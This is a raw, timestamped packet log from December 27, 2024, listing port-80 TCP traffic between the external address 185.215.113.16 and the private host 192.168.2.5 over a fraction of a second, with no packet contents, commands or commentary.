Dec 27, 2024 09:07:59.085002899 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.085050106 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.085066080 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.085119009 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.085726023 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.085762024 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.085776091 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.085807085 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.086461067 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.086527109 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.086541891 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.086571932 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.086611986 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.087251902 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.087277889 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.087292910 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.087321043 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.087959051 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.088223934 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.088265896 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.088270903 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.088283062 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.088305950 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.089030027 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.089046955 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.089063883 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.089112997 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.089741945 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.089771032 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.089786053 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.089814901 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.090521097 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.090559959 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.090575933 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.090600967 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.090636969 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.091310978 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.091350079 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.091366053 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.091996908 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.092029095 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.092044115 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.092045069 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.092092991 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.092761993 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.092814922 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.092829943 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.092883110 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.093508959 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.093549967 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.093564987 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.093594074 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.093616009 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.094238997 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.094295979 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.094312906 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.095029116 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.095046997 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.095062017 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.095082045 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.095114946 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.095771074 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.095797062 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.095812082 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.095839977 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.096501112 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.096551895 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.096566916 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.096596003 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.096626043 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.097279072 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.097322941 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.097340107 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.097388983 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.098079920 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.098108053 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.098124981 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.098150969 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.098172903 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.098812103 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.098845005 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.098860025 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.098911047 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.099498987 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.099559069 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.099574089 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.099601984 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.099621058 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.100310087 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.100341082 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.100357056 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.101066113 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.101114988 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.101250887 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.101293087 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.101305008 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.101327896 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.149616957 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.181433916 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.181453943 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.181469917 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.181581020 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.181703091 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.181755066 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.181770086 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.181858063 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.181870937 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.182452917 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.182513952 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.182528019 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.182602882 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.183238029 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.183263063 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.183276892 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.183321953 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.183335066 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.184065104 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.184079885 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.184094906 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.184149981 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.184735060 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.184758902 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.184773922 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.184828043 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.185529947 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.185563087 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.185576916 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.185623884 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.186222076 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.186269999 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.186284065 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.186317921 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.186338902 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.186979055 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.187046051 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.187061071 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.187108994 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.187736988 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.187792063 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.187805891 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.187838078 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.187880039 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.188472986 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.188544035 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.188558102 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.188668966 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.189205885 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.189270973 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.189285994 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.189321041 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.189337969 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.189997911 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.190030098 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.190043926 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.190072060 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.190737009 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.190788031 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.190803051 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.190840006 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.190865040 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.191504955 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.191550970 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.191565037 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.191859961 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.192233086 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.192274094 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.192291021 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.192308903 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.192326069 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.192981958 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.193036079 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.193049908 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.193759918 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.193809986 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.193810940 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.193825006 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.193877935 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.194521904 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.194554090 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.194567919 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.194601059 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.195430040 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.195472002 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.195487022 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.195517063 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.195542097 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.196047068 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.196078062 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.196093082 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.196176052 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.196749926 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.196793079 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.196800947 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.196808100 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.196841002 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.197499037 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.197551012 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.197566032 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.197597027 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.198252916 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.198318005 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.198333979 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.198359966 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.198390961 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.199004889 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.199323893 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.199340105 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.199356079 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.199404955 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.200038910 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.200076103 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.200089931 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.200122118 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.200773001 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.200802088 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.200815916 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.200872898 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.201524973 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.201575041 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.201587915 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.201627970 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.202256918 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.202296019 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.202311039 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.202347994 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.202375889 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.203016996 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.203053951 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.203069925 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.203758955 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.203807116 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.203818083 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.203819990 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.203869104 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.204538107 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.204561949 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.204579115 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.204617023 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.205295086 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.205351114 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.205364943 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.205370903 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.205411911 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.206031084 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.206094027 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.206116915 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.206140995 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.206774950 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.206823111 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.206835985 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.206857920 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.206887007 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.207499981 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.258951902 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.382441998 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.382482052 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.382498026 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.382577896 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.382736921 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.382766008 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.382781029 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.382816076 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.382848024 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.383495092 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.383527994 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.383543968 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.384243965 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.384303093 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.384382963 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.384397984 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.384443045 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.385005951 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.385091066 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.385466099 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.385524988 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.385525942 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.385541916 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.385582924 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.386199951 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.386224031 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.386240005 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.386332035 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.386970043 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.387008905 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.387023926 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.387063026 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.387712002 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.387752056 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.387768030 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.387801886 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.387834072 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.388437986 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.388478041 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.388493061 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.388684034 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.389173985 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.389240980 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.389256001 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.389292002 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.389313936 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.389939070 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.390001059 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.390016079 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.390708923 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.390758038 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.390772104 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.390772104 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.390820026 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.391442060 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.391479015 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.391494036 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.391549110 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.392188072 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.392249107 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.392265081 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.392321110 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.392932892 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.392965078 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.392982006 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.393033981 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.393676996 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.393717051 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.393731117 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.393767118 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.393784046 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.394434929 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.394480944 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.394495964 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.395172119 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.395212889 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.395234108 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.395236969 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.395283937 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.395941019 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.395966053 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.395979881 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.396032095 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.396650076 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.396706104 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.396720886 CET	80	49728	185.215.113.16	192.168.2.5
